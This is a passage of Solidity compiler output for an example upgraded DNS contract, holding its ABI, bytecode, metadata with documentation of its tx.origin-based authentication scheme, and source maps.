Upgrade.UpgradeConfig[]\\\",\\\"numberOfBytes\\\":\\\"32\\\"},\\\"t_contract(IDNS)1462\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"contract IDNS\\\",\\\"numberOfBytes\\\":\\\"20\\\"},\\\"t_enum(Opt)1731\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"enum Upgrade.Opt\\\",\\\"numberOfBytes\\\":\\\"1\\\"},\\\"t_mapping(t_address,t_enum(Opt)1731)\\\":{\\\"encoding\\\":\\\"mapping\\\",\\\"key\\\":\\\"t_address\\\",\\\"label\\\":\\\"mapping(address => enum Upgrade.Opt)\\\",\\\"numberOfBytes\\\":\\\"32\\\",\\\"value\\\":\\\"t_enum(Opt)1731\\\"},\\\"t_struct(UpgradeConfig)1740_storage\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"struct Upgrade.UpgradeConfig\\\",\\\"members\\\":[{\\\"astId\\\":1735,\\\"contract\\\":\\\"src/Upgrade.sol:Upgrade\\\",\\\"label\\\":\\\"userOpt\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"0\\\",\\\"type\\\":\\\"t_mapping(t_address,t_enum(Opt)1731)\\\"},{\\\"astId\\\":1737,\\\"contract\\\":\\\"src/Upgrade.sol:Upgrade\\\",\\\"label\\\":\\\"when\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"1\\\",\\\"type\\\":\\\"t_uint256\\\"},{\\\"astId\\\":1739,\\\"contract\\\":\\\"src/Upgrade.sol:Upgrade\\\",\\\"label\\\":\\\"to\\\",\\\"offset\\\":0,\\\"slot\\\":\\\"2\\\",\\\"type\\\":\\\"t_contract(IDNS)1462\\\"}],\\\"numberOfBytes\\\":\\\"96\\\"},\\\"t_uint256\\\":{\\\"encoding\\\":\\\"inplace\\\",\\\"label\\\":\\\"uint256\\\",\\\"numberOfBytes\\\":\\\"32\\\"}}}\"},\"src/UpgradedDNS.sol:UpgradedDNS\":{\"abi\":\"[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_dns\\\",\\\"type\\\":\\\"address\\\"},{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"_info\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"constructor\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"originalDNS\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"register\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"resolve\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"transfer\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"}],\\\"name\\\":\\\"update\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"upgradeInfo\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"}]\",\"bin\":\"60c06040523480156200001157600080fd5b5060405162001158380380620011588339818101604052810190620000379190620000db565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505050620001ac565b600081519050620000be8162000178565b92915050565b600081519050620000d58162000192565b92915050565b60008060408385031215620000ef57600080fd5b6000620000ff85828601620000ad565b92505060206200011285828601620000c4565b9150509250929050565b6000620001298262000158565b9050919050565b60006200013d826200011c565b9050919050565b600062000151826200011c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001838162000130565b81146200018f57600080fd5b50565b6200019d8162000144565b8114620001a957600080fd5b50565b60805160601c60a05160601c610f78620001e06000398061012a52806107d55250806103d152806107785250610f786000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c80630528b34514610067578063461a44781461008557806389404978146100b65780639735009b146100d2578063f7a46696146100f0578063fbf58b3e1461010c575b600080fd5b61006f610128565b60405161007c9190610cc4565b60405180910390f35b61009f600480360381019061009a9190610943565b61014c565b6040516100ad929190610c57565b60405180910390f35b6100d060048036038101906100cb9190610a2c565b6101c9565b005b6100da6103cf565b6040516100e79190610c80565b60405180910390f35b61010a600480360381019061010591906109d8565b6103f3565b005b61012660048036038101906101219190610984565b61059d565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b60008060008360405161015f9190610c40565b908152602001604051809103902060000160009054906101000a900460e01b60008460405161018e9190610c40565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561022f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022690610d1f565b60405180910390fd5b6000835111610273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026a90610cdf565b60405180910390fd5b600080846040516102849190610c40565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480156103275750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035d90610d3f565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080836040516104049190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561049e57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806104d357506104d2338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b610512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050990610d5f565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90610d1f565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516105ae9190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561064857503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061067d575061067c338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b6106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b390610d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390610cff565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d35760019050610881565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16635efd538484846040518363ffffffff1660e01b815260040161082e929190610c9b565b60206040518083038186803b15801561084657600080fd5b505afa15801561085a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087e919061091a565b90505b92915050565b60008135905061089681610efd565b92915050565b6000815190506108ab81610f14565b92915050565b6000813590506108c081610f2b565b92915050565b600082601f8301126108d757600080fd5b81356108ea6108e582610db0565b610d7f565b9150808252602083016020830185838301111561090657600080fd5b610911838284610eb9565b50505092915050565b60006020828403121561092c57600080fd5b600061093a8482850161089c565b91505092915050565b60006020828403121561095557600080fd5b600082013567ffffffffffffffff81111561096f57600080fd5b61097b848285016108c6565b91505092915050565b6000806040838503121561099757600080fd5b600083013567ffffffffffffffff8111156109b157600080fd5b6109bd858286016108c6565b92505060206109ce85828601610887565b9150509250929050565b600080604083850312156109eb57600080fd5b600083013567ffffffffffffffff811115610a0557600080fd5b610a11858286016108c6565b9250506020610a22858286016108b1565b9150509250929050565b600080600060608486031215610a4157600080fd5b600084013567ffffffffffffffff811115610a5b57600080fd5b610a67868287016108c6565b9350506020610a78868287016108b1565b9250506040610a8986828701610887565b9150509250925092565b610a9c81610e07565b82525050565b610aab81610e25565b82525050565b610aba81610e71565b82525050565b610ac981610e95565b82525050565b6000610ada82610de0565b610ae48185610dfc565b9350610af4818560208601610ec8565b80840191505092915050565b6000610b0d600f83610deb565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610b4d600e83610deb565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610b8d600b83610deb565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610bcd601583610deb565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610c0d600e83610deb565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610c4c8284610acf565b915081905092915050565b6000604082019050610c6c6000830185610aa2565b610c796020830184610a93565b9392505050565b6000602082019050610c956000830184610ab1565b92915050565b6000604082019050610cb06000830185610ab1565b610cbd6020830184610a93565b9392505050565b6000602082019050610cd96000830184610ac0565b92915050565b60006020820190508181036000830152610cf881610b00565b9050919050565b60006020820190508181036000830152610d1881610b40565b9050919050565b60006020820190508181036000830152610d3881610b80565b9050919050565b60006020820190508181036000830152610d5881610bc0565b9050919050565b60006020820190508181036000830152610d7881610c00565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610da657610da5610efb565b5b8060405250919050565b600067ffffffffffffffff821115610dcb57610dca610efb565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610e1282610e51565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e7c82610e83565b9050919050565b6000610e8e82610e51565b9050919050565b6000610ea082610ea7565b9050919050565b6000610eb282610e51565b9050919050565b82818337600083830152505050565b60005b83811015610ee6578082015181840152602081019050610ecb565b83811115610ef5576000848401525b50505050565bfe5b610f0681610e07565b8114610f1157600080fd5b50565b610f1d81610e19565b8114610f2857600080fd5b50565b610f3481610e25565b8114610f3f57600080fd5b5056fea2646970667358221220eae0b7acf5616ffe9f18fa67a8e9d5245f621f3a5ce549e7c2ff61c9cfcd5f6d64736f6c63430007040033\",\"bin-runtime\":\"608060405234801561001057600080fd5b50600436106100625760003560e01c80630528b34514610067578063461a44781461008557806389404978146100b65780639735009b146100d2578063f7a46696146100f0578063fbf58b3e1461010c575b600080fd5b61006f610128565b60405161007c9190610cc4565b60405180910390f35b61009f600480360381019061009a9190610943565b61014c565b6040516100ad929190610c57565b60405180910390f35b6100d060048036038101906100cb9190610a2c565b6101c9565b005b6100da6103cf565b6040516100e79190610c80565b60405180910390f35b61010a600480360381019061010591906109d8565b6103f3565b005b61012660048036038101906101219190610984565b61059d565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b60008060008360405161015f9190610c40565b908152602001604051809103902060000160009054906101000a900460e01b60008460405161018e9190610c40565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561022f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022690610d1f565b60405180910390fd5b6000835111610273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026a90610cdf565b60405180910390fd5b600080846040516102849190610c40565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480156103275750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035d90610d3f565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080836040516104049190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561049e57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806104d357506104d2338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b610512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050990610d5f565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90610d1f565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516105ae9190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561064857503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061067d575061067c338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b6106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b390610d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390610cff565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d35760019050610881565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16635efd538484846040518363ffffffff1660e01b815260040161082e929190610c9b565b60206040518083038186803b15801561084657600080fd5b505afa15801561085a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087e919061091a565b90505b92915050565b60008135905061089681610efd565b92915050565b6000815190506108ab81610f14565b92915050565b6000813590506108c081610f2b565b92915050565b600082601f8301126108d757600080fd5b81356108ea6108e582610db0565b610d7f565b9150808252602083016020830185838301111561090657600080fd5b610911838284610eb9565b50505092915050565b60006020828403121561092c57600080fd5b600061093a8482850161089c565b91505092915050565b60006020828403121561095557600080fd5b600082013567ffffffffffffffff81111561096f57600080fd5b61097b848285016108c6565b91505092915050565b6000806040838503121561099757600080fd5b600083013567ffffffffffffffff8111156109b157600080fd5b6109bd858286016108c6565b92505060206109ce85828601610887565b9150509250929050565b600080604083850312156109eb57600080fd5b600083013567ffffffffffffffff811115610a0557600080fd5b610a11858286016108c6565b9250506020610a22858286016108b1565b9150509250929050565b600080600060608486031215610a4157600080fd5b600084013567ffffffffffffffff811115610a5b57600080fd5b610a67868287016108c6565b9350506020610a78868287016108b1565b9250506040610a8986828701610887565b9150509250925092565b610a9c81610e07565b82525050565b610aab81610e25565b82525050565b610aba81610e71565b82525050565b610ac981610e95565b82525050565b6000610ada82610de0565b610ae48185610dfc565b9350610af4818560208601610ec8565b80840191505092915050565b6000610b0d600f83610deb565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610b4d600e83610deb565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610b8d600b83610deb565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610bcd601583610deb565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610c0d600e83610deb565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610c4c8284610acf565b915081905092915050565b6000604082019050610c6c6000830185610aa2565b610c796020830184610a93565b9392505050565b6000602082019050610c956000830184610ab1565b92915050565b6000604082019050610cb06000830185610ab1565b610cbd6020830184610a93565b9392505050565b6000602082019050610cd96000830184610ac0565b92915050565b60006020820190508181036000830152610cf881610b00565b9050919050565b60006020820190508181036000830152610d1881610b40565b9050919050565b60006020820190508181036000830152610d3881610b80565b9050919050565b60006020820190508181036000830152610d5881610bc0565b9050919050565b60006020820190508181036000830152610d7881610c00565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610da657610da5610efb565b5b8060405250919050565b600067ffffffffffffffff821115610dcb57610dca610efb565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610e1282610e51565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e7c82610e83565b9050919050565b6000610e8e82610e51565b9050919050565b6000610ea082610ea7565b9050919050565b6000610eb282610e51565b9050919050565b82818337600083830152505050565b60005b83811015610ee6578082015181840152602081019050610ecb565b83811115610ef5576000848401525b50505050565bfe5b610f0681610e07565b8114610f1157600080fd5b50565b610f1d81610e19565b8114610f2857600080fd5b50565b610f3481610e25565b8114610f3f57600080fd5b5056fea2646970667358221220eae0b7acf5616ffe9f18fa67a8e9d5245f621f3a5ce549e7c2ff61c9cfcd5f6d64736f6c63430007040033\",\"metadata\":\"{\\\"compiler\\\":{\\\"version\\\":\\\"0.7.4+commit.3f05b770\\\"},\\\"language\\\":\\\"Solidity\\\",\\\"output\\\":{\\\"abi\\\":[{\\\"inputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"_dns\\\",\\\"type\\\":\\\"address\\\"},{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"_info\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"constructor\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"originalDNS\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"contract IDNS\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"register\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"resolve\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes4\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"_owner\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"transfer\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[{\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"_domain\\\",\\\"type\\\":\\\"string\\\"},{\\\"internalType\\\":\\\"bytes4\\\",\\\"name\\\":\\\"_ip\\\",\\\"type\\\":\\\"bytes4\\\"}],\\\"name\\\":\\\"update\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"upgradeInfo\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"contract Upgrade\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"address\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"}],\\\"devdoc\\\":{\\\"kind\\\":\\\"dev\\\",\\\"methods\\\":{\\\"register(string,bytes4,address)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"New domain to be registered.\\\",\\\"_ip\\\":\\\"Ip the domain should point to.\\\",\\\"_owner\\\":\\\"Owner of the newly registered domain.\\\"}},\\\"resolve(string)\\\":{\\\"returns\\\":{\\\"_0\\\":\\\"The IP that _domain points to and the owner.\\\"}},\\\"transfer(string,address)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"Domain to be transferred.\\\",\\\"_owner\\\":\\\"New owner.\\\"}},\\\"update(string,bytes4)\\\":{\\\"params\\\":{\\\"_domain\\\":\\\"Domain to be updated.\\\",\\\"_ip\\\":\\\"New ip that the domain should point to.\\\"}}},\\\"title\\\":\\\"Example of an upgraded implementation of a DNS.\\\",\\\"version\\\":1},\\\"userdoc\\\":{\\\"kind\\\":\\\"user\\\",\\\"methods\\\":{\\\"register(string,bytes4,address)\\\":{\\\"notice\\\":\\\"Registers a new domain. Domain must be currently unused.\\\"},\\\"transfer(string,address)\\\":{\\\"notice\\\":\\\"Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\\\"},\\\"update(string,bytes4)\\\":{\\\"notice\\\":\\\"Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\\\"}},\\\"notice\\\":\\\"As suggested by DNS.sol, the functions of this contract check whether msg.sender == tx.origin or msg.sender is the original DNS contract or msg.sender is an upgrade that the user trusted at some point. for authentication. The idea is that 1. the user either called this contract directly (direct authentication via msg.sender) or 2. the call was relayed by the original DNS contract (authentication was performed there) or 3. the call was relayed by another upgrade that the entry owner trusted.\\\",\\\"version\\\":1}},\\\"settings\\\":{\\\"compilationTarget\\\":{\\\"src/UpgradedDNS.sol\\\":\\\"UpgradedDNS\\\"},\\\"evmVersion\\\":\\\"istanbul\\\",\\\"libraries\\\":{},\\\"metadata\\\":{\\\"bytecodeHash\\\":\\\"ipfs\\\"},\\\"optimizer\\\":{\\\"enabled\\\":false,\\\"runs\\\":200},\\\"remappings\\\":[\\\":/=/\\\",\\\":ds-test/=lib/ds-test/src/\\\",\\\":ds-test=lib/ds-test/src/index.sol\\\"]},\\\"sources\\\":{\\\"src/IDNS.sol\\\":{\\\"keccak256\\\":\\\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\\\",\\\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\\\"]},\\\"src/Upgrade.sol\\\":{\\\"keccak256\\\":\\\"0xf1b948c97cba7390ad71d1b79badb2d500c55add416b4c63bdf33f3bd20495ea\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://1ac4a2d586937be95d2660afa026ec19cab71b0989be561b807b262be6e9d3ce\\\",\\\"dweb:/ipfs/QmfTjon8NyvCMKT4U2Z6nz44V6hnVaAHPrZ2uT1dwGK8bX\\\"]},\\\"src/UpgradedDNS.sol\\\":{\\\"keccak256\\\":\\\"0x9bab7b3cf0953af729edfbf418aeeefc0428235ba94c0c3cd68ea0740f1200dc\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://df8d1be1d8fd3d4ab81593055e75ccbe57406c8574e8351983cfe55f20bf9fed\\\",\\\"dweb:/ipfs/QmTYsSXKfFNb68FbRJmgp6Sgcsn8BQuGQCKs6LJs2c1Swd\\\"]}},\\\"version\\\":1}\",\"srcmap\":\"744:2018:7:-:0;;;886:102;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;947:4;928:24;;;;;;;;;;;;978:5;956:28;;;;;;;;;;;;886:102;;744:2018;;7:169:8;;108:6;102:13;93:22;;124:46;164:5;124:46;:::i;:::-;83:93;;;;:::o;182:175::-;;286:6;280:13;271:22;;302:49;345:5;302:49;:::i;:::-;261:96;;;;:::o;363:494::-;;;528:2;516:9;507:7;503:23;499:32;496:2;;;544:1;541;534:12;496:2;586:1;610:77;679:7;670:6;659:9;655:22;610:77;:::i;:::-;600:87;;558:139;735:2;760:80;832:7;823:6;812:9;808:22;760:80;:::i;:::-;750:90;;707:143;486:371;;;;;:::o;863:96::-;;929:24;947:5;929:24;:::i;:::-;918:35;;908:51;;;:::o;965:109::-;;1044:24;1062:5;1044:24;:::i;:::-;1033:35;;1023:51;;;:::o;1080:112::-;;1162:24;1180:5;1162:24;:::i;:::-;1151:35;;1141:51;;;:::o;1198:126::-;;1275:42;1268:5;1264:54;1253:65;;1243:81;;;:::o;1330:148::-;1416:37;1447:5;1416:37;:::i;:::-;1409:5;1406:48;1396:2;;1468:1;1465;1458:12;1396:2;1386:92;:::o;1484:154::-;1573:40;1607:5;1573:40;:::i;:::-;1566:5;1563:51;1553:2;;1628:1;1625;1618:12;1553:2;1543:95;:::o;744:2018:7:-;;;;;;;;;;;;;;;;;\",\"srcmap-runtime\":\"744:2018:7:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;846:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2617:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;991:347;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;810:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1341:479;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1823:506;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;846:36;;;:::o;2617:143::-;2689:6;2697:7;2718:4;2723:7;2718:13;;;;;;:::i;:::-;;;;;;;;;;;;;:16;;;;;;;;;;;;2736:4;2741:7;2736:13;;;;;;:::i;:::-;;;;;;;;;;;;;:19;;;;;;;;;;;;2710:46;;;;2617:143;;;:::o;991:347::-;1097:1;1090:8;;:3;:8;;;;;1082:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;1150:1;1132:7;1126:21;:25;1118:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;1176:19;1198:4;1203:7;1198:13;;;;;;:::i;:::-;;;;;;;;;;;;;1176:35;;1235:1;1223:13;;:5;:8;;;;;;;;;;;;:13;;;;:42;;;;;1263:1;1240:25;;:5;:11;;;;;;;;;;;;:25;;;1223:42;1215:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;1307:3;1296:5;:8;;;:14;;;;;;;;;;;;;;;;;;1328:6;1314:5;:11;;;:20;;;;;;;;;;;;;;;;;;991:347;;;;:::o;810:33::-;;;:::o;1341:479::-;1414:19;1436:4;1441:7;1436:13;;;;;;:::i;:::-;;;;;;;;;;;;;1414:35;;1648:9;1634:23;;